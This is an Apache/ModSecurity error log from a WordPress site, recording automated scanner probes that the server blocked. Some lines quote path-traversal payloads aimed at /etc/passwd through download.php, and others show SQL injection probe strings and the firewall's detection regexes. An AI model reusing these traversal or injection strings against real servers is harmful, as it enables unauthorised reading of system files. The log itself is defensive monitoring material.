[Wed Dec 18 13:25:01.125690 2019] [authz_core:error] [pid 4550] [client 177.75.21.139:52602] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/akismet.php
[Wed Dec 18 14:11:15.528328 2019] [proxy_fcgi:error] [pid 12226] [client 193.106.30.99:51722] AH01071: Got error 'Primary script unknown\n'
[Wed Dec 18 18:22:12.054634 2019] [:error] [pid 24718] [client 178.213.191.199:56263] [client 178.213.191.199] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:image_name"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:image_name. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-e-commerce/wpsc-includes/misc.functions.php"] [unique_id "XfpgROxUUczJpmell6r52QAAAAI"]
[Wed Dec 18 22:48:47.559105 2019] [authz_core:error] [pid 30662] [client 45.136.108.44:55842] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/w3-total-cache
[Thu Dec 19 04:05:29.415969 2019] [:error] [pid 4698] [client 178.213.191.199:61571] [client 178.213.191.199] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:requrl"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:requrl. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/paypal-currency-converter-basic-for-woocommerce/proxy.php"] [unique_id "Xfro@W0vN3RaHeqZeJNQuAAAAA4"]
[Thu Dec 19 04:05:32.345376 2019] [:error] [pid 4294] [client 178.213.191.199:62258] [client 178.213.191.199] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:requrl"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:requrl. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/paypal-currency-converter-basic-for-woocommerce/proxy.php"] [unique_id "Xfro-HVTBAXNpI7LBTOrxAAAAAE"]
[Fri Dec 20 04:11:04.993819 2019] [authz_core:error] [pid 17817] [client 193.106.30.99:39788] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/cache
[Fri Dec 20 05:40:48.410231 2019] [proxy_fcgi:error] [pid 22909] [client 149.202.139.17:50116] AH01071: Got error 'Primary script unknown\n'
[Fri Dec 20 22:06:13.451800 2019] [authz_core:error] [pid 16318] [client 78.85.212.89:41236] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/website-contact-form-with-file-upload
[Fri Dec 20 22:58:30.686903 2019] [ssl:error] [pid 20994] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:30.687010 2019] [ssl:error] [pid 20994] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:32.033851 2019] [ssl:error] [pid 22718] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:32.033907 2019] [ssl:error] [pid 22718] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:33.701331 2019] [ssl:error] [pid 21034] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:33.701385 2019] [ssl:error] [pid 21034] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:35.045527 2019] [ssl:error] [pid 22181] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:35.045581 2019] [ssl:error] [pid 22181] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:36.573204 2019] [ssl:error] [pid 21825] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:36.573258 2019] [ssl:error] [pid 21825] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:38.719068 2019] [ssl:error] [pid 21827] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:38.719123 2019] [ssl:error] [pid 21827] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:40.775401 2019] [ssl:error] [pid 15586] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:40.775451 2019] [ssl:error] [pid 15586] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:42.316142 2019] [ssl:error] [pid 22918] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 20 22:58:42.316210 2019] [ssl:error] [pid 22918] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Dec 21 09:44:49.443534 2019] [proxy_fcgi:error] [pid 5985] [client 49.234.7.207:49780] AH01071: Got error 'Primary script unknown\n'
[Sat Dec 21 12:58:52.512560 2019] [autoindex:error] [pid 23756] [client 51.91.151.69:64213] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Sat Dec 21 13:31:04.980711 2019] [proxy_fcgi:error] [pid 27148] [client 177.75.21.139:55941] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function add_action() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php:69\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php on line 69\n'
[Sat Dec 21 16:01:08.114831 2019] [proxy_fcgi:error] [pid 8338] [client 45.55.155.237:41770] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/test/wp-login.php
[Sun Dec 22 02:12:41.361040 2019] [autoindex:error] [pid 30657] [client 212.92.117.55:53292] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Sun Dec 22 15:07:23.133703 2019] [proxy_fcgi:error] [pid 19279] [client 162.219.250.25:46222] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/test/wp-login.php
[Sun Dec 22 22:04:49.417365 2019] [proxy_fcgi:error] [pid 24269] [client 217.182.95.250:56070] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/installer.php
[Sun Dec 22 22:04:50.600075 2019] [proxy_fcgi:error] [pid 25135] [client 217.182.95.250:58014] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/installer-backup.php
[Sun Dec 22 22:04:51.499616 2019] [proxy_fcgi:error] [pid 24227] [client 217.182.95.250:60939] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/replace.php
[Sun Dec 22 22:04:52.806322 2019] [proxy_fcgi:error] [pid 25319] [client 217.182.95.250:35298] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/urlreplace.php
[Sun Dec 22 22:04:54.163832 2019] [proxy_fcgi:error] [pid 24269] [client 217.182.95.250:40202] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/unzipper.php
[Sun Dec 22 22:04:55.010172 2019] [proxy_fcgi:error] [pid 24970] [client 217.182.95.250:41931] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/unzip.php
[Sun Dec 22 22:06:25.189519 2019] [proxy_fcgi:error] [pid 24857] [client 50.63.162.9:53664] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/replace.php
[Sun Dec 22 22:07:27.878602 2019] [proxy_fcgi:error] [pid 24857] [client 50.63.162.9:52460] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/unzipper.php
[Sun Dec 22 22:07:55.546103 2019] [proxy_fcgi:error] [pid 24269] [client 50.63.162.9:35644] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/unzip.php
[Mon Dec 23 05:12:32.565296 2019] [proxy_fcgi:error] [pid 4479] [client 91.121.79.16:12769] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 23 08:47:15.475685 2019] [proxy_fcgi:error] [pid 23632] [client 217.182.95.250:46446] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/installer.php
[Mon Dec 23 08:47:15.818219 2019] [proxy_fcgi:error] [pid 24971] [client 217.182.95.250:48256] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/installer-backup.php
[Mon Dec 23 08:47:16.175870 2019] [proxy_fcgi:error] [pid 24109] [client 217.182.95.250:49490] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/replace.php
[Mon Dec 23 08:47:16.854355 2019] [proxy_fcgi:error] [pid 24634] [client 217.182.95.250:50861] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/urlreplace.php
[Mon Dec 23 08:47:17.509297 2019] [proxy_fcgi:error] [pid 24503] [client 217.182.95.250:52986] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/unzipper.php
[Mon Dec 23 08:47:17.839244 2019] [proxy_fcgi:error] [pid 23632] [client 217.182.95.250:54389] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/unzip.php
[Mon Dec 23 14:35:52.161450 2019] [proxy_fcgi:error] [pid 30637] [client 149.202.139.17:42306] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 23 17:01:26.391199 2019] [proxy_fcgi:error] [pid 16356] [client 203.129.113.142:41768] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Dec 24 02:15:10.152384 2019] [proxy_fcgi:error] [pid 7833] [client 149.202.139.17:51284] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 24 13:58:58.470018 2019] [proxy_fcgi:error] [pid 6973] [client 37.75.235.10:34206] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Wed Dec 25 02:26:50.166032 2019] [proxy_fcgi:error] [pid 6593] [client 193.106.30.99:42452] AH01071: Got error 'Primary script unknown\n'
[Wed Dec 25 04:29:34.482173 2019] [proxy_fcgi:error] [pid 15094] [client 149.202.139.17:46512] AH01071: Got error 'Primary script unknown\n'
[Wed Dec 25 04:45:38.193382 2019] [ssl:error] [pid 21653] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 04:45:38.195527 2019] [ssl:error] [pid 21653] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 15:13:55.149679 2019] [proxy_fcgi:error] [pid 1923] [client 45.40.143.13:47132] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Wed Dec 25 19:45:52.052864 2019] [proxy_fcgi:error] [pid 28907] [client 95.173.169.23:44876] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/test/wp-login.php
[Wed Dec 25 20:41:46.971361 2019] [proxy_fcgi:error] [pid 31147] [client 78.85.134.172:48716] AH01071: Got error 'Primary script unknown\n'
[Wed Dec 25 23:38:58.412475 2019] [ssl:error] [pid 15910] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:38:58.412529 2019] [ssl:error] [pid 15910] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:01.243527 2019] [ssl:error] [pid 16391] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:01.243572 2019] [ssl:error] [pid 16391] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:04.307410 2019] [ssl:error] [pid 16390] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:04.307481 2019] [ssl:error] [pid 16390] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:07.254895 2019] [ssl:error] [pid 16379] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:07.254953 2019] [ssl:error] [pid 16379] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:10.167531 2019] [ssl:error] [pid 15637] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:10.167569 2019] [ssl:error] [pid 15637] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:13.146513 2019] [ssl:error] [pid 16383] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:13.147380 2019] [ssl:error] [pid 16383] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:16.041077 2019] [ssl:error] [pid 13881] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:16.041116 2019] [ssl:error] [pid 13881] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:19.075325 2019] [ssl:error] [pid 15910] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Dec 25 23:39:19.075371 2019] [ssl:error] [pid 15910] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Thu Dec 26 02:00:18.464082 2019] [proxy_fcgi:error] [pid 26693] [client 149.202.139.17:38552] AH01071: Got error 'Primary script unknown\n'
[Thu Dec 26 13:33:21.990146 2019] [authz_core:error] [pid 21328] [client 193.106.30.99:48060] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/cache
[Fri Dec 27 03:36:08.587672 2019] [:error] [pid 5066] [client 141.98.9.212:48848] [client 141.98.9.212] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "88"] [id "33340145"] [rev "43"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection probe"] [data " 1=1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (?:/index\\\\.php/admin/catalog_category/save|(?:/admin/stats|/css/gallery-css)\\\\.php\\\\?1=1|/admin\\\\.php\\\\?tile=mail$|/catalog_category/save/key/|/\\\\?op=admin_settings|^/\\\\?openpage=|/^admin/extra)" against "REQUEST_URI" required. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "XgVuGPW9NuCwfN8X@yoWlAAAAAQ"]
[Fri Dec 27 03:36:14.239834 2019] [:error] [pid 3665] [client 141.98.9.212:54156] [client 141.98.9.212] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "9314=9314"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:rest_route. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "XgVuHh5ygCqmKxyBo9GVLwAAAAc"]
[Fri Dec 27 03:36:14.363144 2019] [:error] [pid 15917] [client 141.98.9.212:54316] [client 141.98.9.212] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "6359=6359"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:rest_route. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "XgVuHu76WyClbeHonbi6kAAAAAA"]
[Fri Dec 27 03:36:14.694170 2019] [:error] [pid 17019] [client 141.98.9.212:55852] [client 141.98.9.212] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "6359=6359"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:rest_route. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "XgVuHt1gWZamHoqDU0BIHQAAAAg"]
[Fri Dec 27 10:10:55.048127 2019] [:error] [pid 7709] [client 36.66.192.45:56372] [client 36.66.192.45] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/download.php"] [unique_id "XgXKn1A-Id0uhIvlO46I0QAAAAk"], referer: http://fincasandoval.com/download.php?file=../../../../../../../../../../../../etc/passwd
[Fri Dec 27 16:49:59.059700 2019] [authz_core:error] [pid 16519] [client 69.39.239.21:52912] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/readme.php, referer: fincasandoval.com
[Fri Dec 27 16:50:09.195392 2019] [authz_core:error] [pid 19881] [client 69.39.239.21:55204] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-readme.php, referer: fincasandoval.com
[Fri Dec 27 16:50:40.506460 2019] [authz_core:error] [pid 18490] [client 69.39.239.21:33500] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.php, referer: fincasandoval.com
[Fri Dec 27 18:50:18.201980 2019] [proxy_fcgi:error] [pid 657] [client 128.199.194.131:38289] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Dec 27 18:50:18.855338 2019] [proxy_fcgi:error] [pid 659] [client 128.199.194.131:38346] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Dec 27 21:24:36.346023 2019] [proxy_fcgi:error] [pid 18694] [client 78.85.180.113:44372] AH01071: Got error 'Primary script unknown\n'
[Sat Dec 28 04:41:38.321695 2019] [:error] [pid 13355] [client 101.37.244.107:40880] [client 101.37.244.107] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:f"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:f. [hostname "fincasandoval.com"] [uri "/download.php"] [unique_id "XgbO8g6BLlzTVYmh5yBpnwAAAAM"], referer: http://fincasandoval.com/download.php?f=../../../../../../../../../../../../etc/passwd
[Sat Dec 28 08:10:21.163445 2019] [proxy_fcgi:error] [pid 5066] [client 193.106.30.99:41278] AH01071: Got error 'Primary script unknown\n'
[Sat Dec 28 21:03:39.480778 2019] [authz_core:error] [pid 10007] [client 193.106.30.99:53792] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-blog-config.php
[Sun Dec 29 12:54:31.531370 2019] [proxy_fcgi:error] [pid 26110] [client 88.99.25.115:33584] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:31.706559 2019] [proxy_fcgi:error] [pid 26244] [client 88.99.25.115:33640] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:31.875849 2019] [proxy_fcgi:error] [pid 26245] [client 88.99.25.115:33698] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:32.064019 2019] [proxy_fcgi:error] [pid 26218] [client 88.99.25.115:33728] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:32.235737 2019] [proxy_fcgi:error] [pid 26227] [client 88.99.25.115:33782] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:32.396285 2019] [proxy_fcgi:error] [pid 26214] [client 88.99.25.115:33836] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:32.557923 2019] [proxy_fcgi:error] [pid 26066] [client 88.99.25.115:33876] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:32.882487 2019] [proxy_fcgi:error] [pid 26115] [client 88.99.25.115:33986] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:33.214135 2019] [proxy_fcgi:error] [pid 26244] [client 88.99.25.115:34086] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:33.374831 2019] [proxy_fcgi:error] [pid 26245] [client 88.99.25.115:34124] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:33.547210 2019] [proxy_fcgi:error] [pid 26234] [client 88.99.25.115:34160] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:33.718657 2019] [proxy_fcgi:error] [pid 26218] [client 88.99.25.115:34196] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:33.877103 2019] [proxy_fcgi:error] [pid 26227] [client 88.99.25.115:34232] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:34.053436 2019] [proxy_fcgi:error] [pid 26214] [client 88.99.25.115:34250] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:34.214128 2019] [proxy_fcgi:error] [pid 26066] [client 88.99.25.115:34284] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:34.376408 2019] [proxy_fcgi:error] [pid 26217] [client 88.99.25.115:34320] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:34.538174 2019] [proxy_fcgi:error] [pid 26115] [client 88.99.25.115:34350] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:34.702940 2019] [proxy_fcgi:error] [pid 26110] [client 88.99.25.115:34374] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:34.869529 2019] [proxy_fcgi:error] [pid 26244] [client 88.99.25.115:34402] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:35.030289 2019] [proxy_fcgi:error] [pid 26245] [client 88.99.25.115:34444] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:35.210596 2019] [proxy_fcgi:error] [pid 26234] [client 88.99.25.115:34484] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:35.381606 2019] [proxy_fcgi:error] [pid 26218] [client 88.99.25.115:34532] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 29 12:54:35.558925 2019] [proxy_fcgi:error] [pid 26227] [client 88.99.25.115:34588] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 30 08:56:58.759225 2019] [authz_core:error] [pid 25942] [client 193.106.30.99:38274] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/cache
[Mon Dec 30 11:58:41.201481 2019] [proxy_fcgi:error] [pid 11242] [client 194.127.179.96:63103] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 30 12:02:27.824561 2019] [proxy_fcgi:error] [pid 10151] (70007)The timeout specified has expired: [client 165.22.240.63:54620] AH01075: Error dispatching request to :
[Mon Dec 30 18:15:19.352461 2019] [proxy_fcgi:error] [pid 21816] [client 49.234.7.207:34218] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 30 20:37:25.904464 2019] [proxy_fcgi:error] [pid 3242] [client 193.106.30.99:44004] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 00:43:40.984115 2019] [proxy_fcgi:error] [pid 29352] [client 78.85.180.113:41226] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 00:43:41.612212 2019] [proxy_fcgi:error] [pid 29027] [client 78.85.180.113:41738] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 11:25:29.372873 2019] [proxy_fcgi:error] [pid 12710] [client 66.249.64.94:42190] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:03:31.867885 2019] [proxy_fcgi:error] [pid 17645] [client 188.213.175.168:60691] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:03:48.964584 2019] [proxy_fcgi:error] [pid 21042] [client 51.255.43.81:39639] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:04:44.014734 2019] [proxy_fcgi:error] [pid 20202] [client 128.199.194.131:44849] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:04:59.744071 2019] [proxy_fcgi:error] [pid 20675] [client 165.227.0.6:32926] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:05:01.285973 2019] [proxy_fcgi:error] [pid 20179] [client 128.199.194.131:46113] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:05:02.786260 2019] [proxy_fcgi:error] [pid 16401] [client 128.199.194.131:46223] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:05:12.966518 2019] [authz_core:error] [pid 20579] [client 50.28.37.9:43670] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.php
[Tue Dec 31 12:05:34.618489 2019] [proxy_fcgi:error] [pid 18922] [client 50.28.37.9:49386] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:06:21.452324 2019] [proxy_fcgi:error] [pid 21040] [client 188.213.175.168:47258] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:06:47.656605 2019] [proxy_fcgi:error] [pid 20202] [client 188.213.175.168:49554] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:07:04.123392 2019] [proxy_fcgi:error] [pid 20675] [client 50.28.37.9:44986] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:07:31.107506 2019] [proxy_fcgi:error] [pid 20179] [client 188.213.175.168:52958] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:11:23.550174 2019] [proxy_fcgi:error] [pid 16401] [client 165.227.0.6:59348] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 12:32:15.725000 2019] [proxy_fcgi:error] [pid 24969] [client 193.106.30.99:48270] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 31 22:00:42.405590 2019] [proxy_fcgi:error] [pid 8447] [client 193.106.30.99:46726] AH01071: Got error 'Primary script unknown\n'
[Wed Jan 01 14:59:12.162103 2020] [proxy_fcgi:error] [pid 31247] [client 193.106.30.99:40330] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 02 10:18:46.221799 2020] [authz_core:error] [pid 29932] [client 103.82.235.2:22143] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/jquery-html5-file-upload, referer: http://www.google.com/
[Fri Jan 03 17:38:30.143834 2020] [proxy_fcgi:error] [pid 22002] [client 193.106.30.99:40910] AH01071: Got error 'Primary script unknown\n'
[Sat Jan 04 07:26:08.927765 2020] [proxy_fcgi:error] [pid 30722] [client 193.106.30.99:60092] AH01071: Got error 'Primary script unknown\n'
[Sat Jan 04 16:58:57.127149 2020] [proxy_fcgi:error] [pid 25116] [client 193.106.30.99:37556] AH01071: Got error 'Primary script unknown\n'
[Sat Jan 04 17:46:45.008111 2020] [proxy_fcgi:error] [pid 29901] [client 74.81.88.170:53900] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Sat Jan 04 17:46:45.027202 2020] [proxy_fcgi:error] [pid 29892] [client 74.81.88.170:53991] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
